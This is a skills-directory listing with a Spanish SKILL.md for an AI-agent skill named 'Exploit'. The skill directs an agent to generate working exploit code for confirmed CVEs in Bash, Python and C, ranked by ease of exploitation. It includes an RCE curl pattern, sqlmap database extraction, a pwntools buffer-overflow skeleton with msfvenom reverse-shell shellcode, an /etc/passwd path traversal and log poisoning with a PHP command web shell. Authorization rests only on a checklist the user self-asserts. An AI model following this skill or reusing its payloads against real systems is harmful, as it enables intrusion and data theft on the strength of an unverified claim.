Skip to content
Back to skills

Exploit

CSecurity

Usar esta skill cuando el usuario tenga vulnerabilidades CVE ya confirmadas mediante POC y necesite: código de explotación (exploit), scripts en Bash/Python/C para demostrar la vulnerabilidad, o enlaces a exploits públicos en Exploit-DB, GitHub, PacketStorm, etc. Activa cuando se mencionen: exploit, explotación, CVE confirmado, script de ataque, POC funcional, payload, reverse shell, RCE, LPE, SQLi exploit, buffer overflow exploit. Prerequisito implícito: vulnerabilidad ya confirmada en entor...

  • 3 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added October 9, 2026
ai-agentspythongophpshellbashsqltestinggitsecurity

Works with

  • cli

Security analysis

C63/100
  • criticalPipes output to a shell interpreter
  • criticalAccesses sensitive system or user directories

Pro shows the line behind each finding and how to fix it

Scanned October 9, 2026

npx -y skills add hackingyseguridad/IA --skill exploit --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Exploit?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Exploit
[![Security: C — Skills Directory](https://www.skillsdirectory.com/api/skills/hackingyseguridad-exploit/badge)](https://www.skillsdirectory.com/skills/hackingyseguridad-exploit)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: cve-exploit
description: >
  Usar esta skill cuando el usuario tenga vulnerabilidades CVE ya confirmadas mediante POC y
  necesite: código de explotación (exploit), scripts en Bash/Python/C para demostrar la
  vulnerabilidad, o enlaces a exploits públicos en Exploit-DB, GitHub, PacketStorm, etc.
  Activa cuando se mencionen: exploit, explotación, CVE confirmado, script de ataque, POC
  funcional, payload, reverse shell, RCE, LPE, SQLi exploit, buffer overflow exploit.
  Prerequisito implícito: vulnerabilidad ya confirmada en entorno autorizado.
---

# Skill: Explotación de CVEs Confirmados (Hacking Ético)

Genera código funcional y referencias de exploit para CVEs confirmados, ordenados por
facilidad de explotación. Contexto: auditoría ofensiva autorizada / pentesting profesional.

---

## Prerequisitos (verificar antes de generar)

- [ ] CVE confirmado con POC previo realizado
- [ ] Entorno objetivo autorizado (contrato / scope definido)
- [ ] Propósito: demostración de impacto / evidencia para informe

Si no se cumplen, indicar que se requiere confirmación previa de la vulnerabilidad.

---

## PASO 1 — Recibir lista de CVEs confirmados

El usuario debe proporcionar (o extraer de conversación previa):

| CVE | Servicio/Componente | Versión afectada | CVSS | POC confirmado |
|-----|---------------------|-----------------|------|----------------|
| CVE-XXXX-YYYY | Apache / OpenSSH / ... | x.x.x | 9.8 | Sí |

Si no hay tabla, extraer de los hallazgos mencionados en la conversación.

---

## PASO 2 — Ordenar por facilidad de explotación

**Criterios de ordenación (de más fácil a más difícil):**

| Nivel | Criterio | Ejemplos |
|-------|----------|---------|
| ★★★★★ Trivial | Un comando, sin autenticación, exploit público funcional | CVEs con metasploit module, 1-liner curl/bash |
| ★★★★☆ Fácil | Script <50 líneas, condiciones mínimas | SQLi ciego con payload directo, credenciales defecto |
| ★★★☆☆ Medio | Requiere setup, ajuste de offsets o condiciones | Buffer overflow con ASLR, SSRF encadenado |
| ★★☆☆☆ Difícil | Race condition, heap spray, bypass mitigaciones | UAF, type confusion, bypass ASLR+NX |
| ★☆☆☆☆ Complejo | Cadena multi-vuln, conocimiento profundo | Kernel exploits, 0-days encadenados |

---

## PASO 3 — Output por CVE

Para cada CVE, generar en este orden:

### CVE-XXXX-YYYY — [Nombre Descriptivo]

**Metadata:**
```
CVSS v3.1:     X.X [CRÍTICA/ALTA/MEDIA]
Tipo:          RCE / LPE / SQLi / XSS / DoS / ...
Afecta:        Software vX.X - vY.Y
Auth requerida: No / Sí (usuario/admin)
Red requerida:  Remota / Local / Adyacente
Facilidad:     ★★★★★ Trivial
Módulo MSF:    exploit/multi/... (si existe)
```

**Fuentes públicas de exploit:**
```
Exploit-DB:   https://www.exploit-db.com/exploits/XXXXX
GitHub:       https://github.com/user/repo
NVD:          https://nvd.nist.gov/vuln/detail/CVE-XXXX-YYYY
Packetstorm:  https://packetstormsecurity.com/files/XXXXX/
Nuclei:       https://github.com/projectdiscovery/nuclei-templates
```

**Exploit — Bash Shell:**
```bash
#!/bin/bash
# CVE-XXXX-YYYY — [Nombre]
# Uso: ./exploit.sh <TARGET_IP> <PORT>
# Requiere: curl, netcat
# Contexto: Auditoría autorizada únicamente

TARGET="$1"
PORT="${2:-80}"

# [código de explotación funcional]
```

**Exploit — Python3:**
```python
#!/usr/bin/env python3
# CVE-XXXX-YYYY — [Nombre]
# Uso: python3 exploit.py --target 192.168.1.1 --port 80
# Requiere: requests, socket
# Contexto: Auditoría autorizada únicamente

import argparse, socket, requests

def exploit(target, port):
    # [código de explotación funcional]
    pass

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("--target", required=True)
    parser.add_argument("--port", type=int, default=80)
    args = parser.parse_args()
    exploit(args.target, args.port)
```

**Exploit — C (si aplica para buffer overflow / kernel):**
```c
// CVE-XXXX-YYYY — [Nombre]
// Compilar: gcc -o exploit exploit.c
// Uso: ./exploit <TARGET> <PORT>
// Contexto: Auditoría autorizada únicamente

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// [código de explotación funcional]
int main(int argc, char *argv[]) {
    // ...
    return 0;
}
```

**Verificación de éxito:**
```
# Indicadores de explotación exitosa:
- [qué output/comportamiento confirma el éxito]
- [comando para verificar acceso / ejecución]
```

---

## PASO 4 — Tabla resumen final

Generar tabla ordenada de más fácil a más difícil:

| # | CVE | CVSS | Tipo | Facilidad | Lenguaje exploit | Exploit-DB | Módulo MSF |
|---|-----|------|------|-----------|-----------------|-----------|-----------|
| 1 | CVE-XXXX | 9.8 | RCE | ★★★★★ | bash/python | ID | sí/no |
| 2 | ... | ... | ... | ★★★☆☆ | python/C | ID | sí/no |

---

## Fuentes de exploits públicos — Referencias principales

```
# Bases de datos de exploits
https://www.exploit-db.com/                    # Exploit-DB (Offensive Security)
https://packetstormsecurity.com/               # PacketStorm Security
https://vuldb.com/                             # VulDB
https://sploitus.com/                          # Sploitus (agregador)

# GitHub — búsqueda de exploits
https://github.com/search?q=CVE-XXXX-YYYY     # Buscar por CVE en GitHub
https://github.com/trickest/cve               # CVE PoC en GitHub (trickest)
https://github.com/nomi-sec/PoC-in-GitHub     # PoC-in-GitHub (índice)
https://github.com/projectdiscovery/nuclei-templates  # Nuclei templates

# Metasploit
https://www.metasploit.com/modules/           # Módulos MSF online
msfconsole> search cve:XXXX-YYYY             # Búsqueda local en MSF

# Referencia CVE
https://nvd.nist.gov/vuln/detail/CVE-XXXX    # NVD — NIST
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-XXXX  # MITRE CVE
https://www.cvedetails.com/cve/CVE-XXXX/     # CVEDetails

# Kali Linux — herramientas integradas
searchsploit CVE-XXXX-YYYY                   # Búsqueda local Exploit-DB
msfconsole -q -x "search cve:XXXX-YYYY"     # Módulos Metasploit
```

---

## Plantillas de exploit por tipo de vulnerabilidad

### RCE sin autenticación (tipo más crítico / más fácil)
```bash
# Patrón genérico — ajustar payload según CVE
curl -s -X POST "http://$TARGET/vulnerable_endpoint" \
  --data "param=$(python3 -c 'import urllib.parse; print(urllib.parse.quote("id"))')" \
  -H "Content-Type: application/x-www-form-urlencoded"
```

### SQLi — extracción de datos
```python
# sqlmap one-liner para CVE con SQLi confirmada
# sqlmap -u "http://TARGET/vuln?id=1" --dbs --batch --level=3 --risk=2
import subprocess
def run_sqlmap(target_url, param):
    cmd = ["sqlmap", "-u", target_url, "-p", param, "--dbs", "--batch"]
    subprocess.run(cmd)
```

### Buffer Overflow — esqueleto con pwntools
```python
from pwn import *
# CVE-XXXX — Buffer overflow
# Ajustar: offset, ret_addr, shellcode según arquitectura objetivo
OFFSET = 0         # calcular con pattern_create / cyclic
RET_ADDR = 0x0     # dirección de retorno (jmp esp, ROP gadget, etc.)
SHELLCODE = b""    # shellcode según SO/arch (msfvenom -p linux/x86/shell_reverse_tcp ...)

payload = b"A" * OFFSET + p32(RET_ADDR) + b"\x90" * 16 + SHELLCODE
io = remote("TARGET", PORT)
io.sendline(payload)
io.interactive()
```

### LPE (Local Privilege Escalation)
```bash
# Compilar y ejecutar exploit local
gcc -o lpe_exploit exploit.c && ./lpe_exploit
# Verificar:
id && whoami
```

### Path Traversal / LFI → RCE
```bash
# LFI clásico
curl "http://$TARGET/page?file=../../../../etc/passwd"
# LFI → RCE via log poisoning
curl -A "<?php system(\$_GET['cmd']); ?>" "http://$TARGET/"
curl "http://$TARGET/page?file=../../../../var/log/apache2/access.log&cmd=id"
```

---

## Notas de uso

- Todo código generado incluye comentario `# Contexto: Auditoría autorizada únicamente`
- Para exploits de stack overflow: calcular offset con `pattern_create` (Metasploit) o `cyclic` (pwntools)
- Para exploits remotos: verificar siempre en laboratorio antes de ejecutar en scope real
- Shellcodes: generar con `msfvenom -p <payload> LHOST=X LPORT=Y -f <format>`
- Si el CVE tiene módulo Metasploit: indicarlo siempre como opción preferente por estabilidad
- Nuclei templates: opción para detección automatizada sin exploit destructivo

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.